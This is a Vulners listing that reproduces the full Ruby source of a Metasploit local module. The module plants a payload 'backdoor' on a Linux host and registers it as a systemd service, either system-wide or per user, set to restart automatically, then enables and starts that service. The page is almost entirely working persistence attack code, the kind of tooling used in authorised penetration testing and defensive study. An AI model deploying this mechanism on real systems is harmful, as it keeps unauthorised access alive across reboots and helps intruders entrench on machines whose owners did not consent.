Lucene search
K

Service SystemD Persistence

🗓️ 17 Sep 2025 18:53:10Reported by h00die <[email protected]>, Cale BlackType 
metasploit
 metasploit
🔗 www.rapid7.com👁 642 Views

Module creates a SystemD persistence service with auto restart and file write access.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Post::Linux::User # get_home_dir
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/service_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service SystemD Persistence',
        'Description' => %q{
          This module will create a service on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services
          Targets:
          CentOS 7
          Debian >= 7, <=8
          Fedora >= 15
          Ubuntu >= 15.04
          Verified on Ubuntu 18.04.3
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <[email protected]>',
        ],
        'Platform' => ['unix', 'linux'],
        'Privileged' => true,
        'Targets' => [
          ['systemd', {}],
          [
            'systemd user',
            {
              'Author' => 'Cale Black'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
          ['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '2010-03-30' # systemd release date
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create']),
        OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),
      ]
    )
    register_advanced_options(
      [
        OptBool.new('EnableService', [true, 'Enable the service', true])
      ]
    )
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')

    CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    whoami
  end

  def install_persistence
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    backdoor = write_shell(writable_dir)

    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]
    case target.name
    when 'systemd'
      systemd(path, file)
    when 'systemd user'
      systemd_user(path, file)
    end
  end

  def write_shell(path)
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o755)
    else
      upload_and_chmodx backdoor, generate_payload_exe
    end
    @clean_up_rc << "rm #{backdoor}\n"

    fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)

    backdoor
  end

  def service_file(exec, target = 'multi-user.target')
    <<~EOF
      [Unit]
        Description=Start daemon at boot time
        After=
        Requires=
        [Service]
        RestartSec=10s
        Restart=always
        TimeoutStartSec=5
        RemainAfterExit=yes
        ExecStart=#{exec}
      [Install]
      WantedBy=#{target}
    EOF
  end

  def systemd(backdoor_path, backdoor_file)
    if payload.arch.first == 'cmd'
      script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")
    else
      script = service_file("#{backdoor_path}/#{backdoor_file}")
    end

    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
    service_name = "/lib/systemd/system/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)

    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)

    @clean_up_rc << "rm #{service_name}\n"
    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("systemctl enable #{service_filename}.service")
    end
    vprint_status('Starting service')
    cmd_exec("systemctl start #{service_filename}.service")
  end

  def systemd_user(backdoor_path, backdoor_file)
    if payload.arch.first == 'cmd'
      script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')
    else
      script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')
    end
    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)

    user = target_user
    home = get_home_dir(user)
    vprint_status('Creating user service directory')
    mkdir("#{home}/.config/systemd/user", cleanup: false)

    service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")

    write_file(service_name, script)
    @clean_up_rc << "rm #{service_name}\n"

    if !file_exist?(service_name)
      print_error('File not written, check permissions. Attempting secondary location')
      vprint_status('Creating user secondary service directory')
      mkdir("#{home}/.local/share/systemd/user", cleanup: false)

      service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
      vprint_status("Writing .local service: #{service_name}")
      write_file(service_name, script)
      fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
      @clean_up_rc << "rm #{service_name}\n"
    end

    # This was taken from pam_systemd(8)
    systemd_socket_id = cmd_exec('id -u')
    systemd_socket_dir = "/run/user/#{systemd_socket_id}"
    vprint_status('Reloading manager configuration')
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")

    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
    end

    vprint_status("Starting service: #{service_filename}")
    # Prefer restart over start, as it will execute already existing service files
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation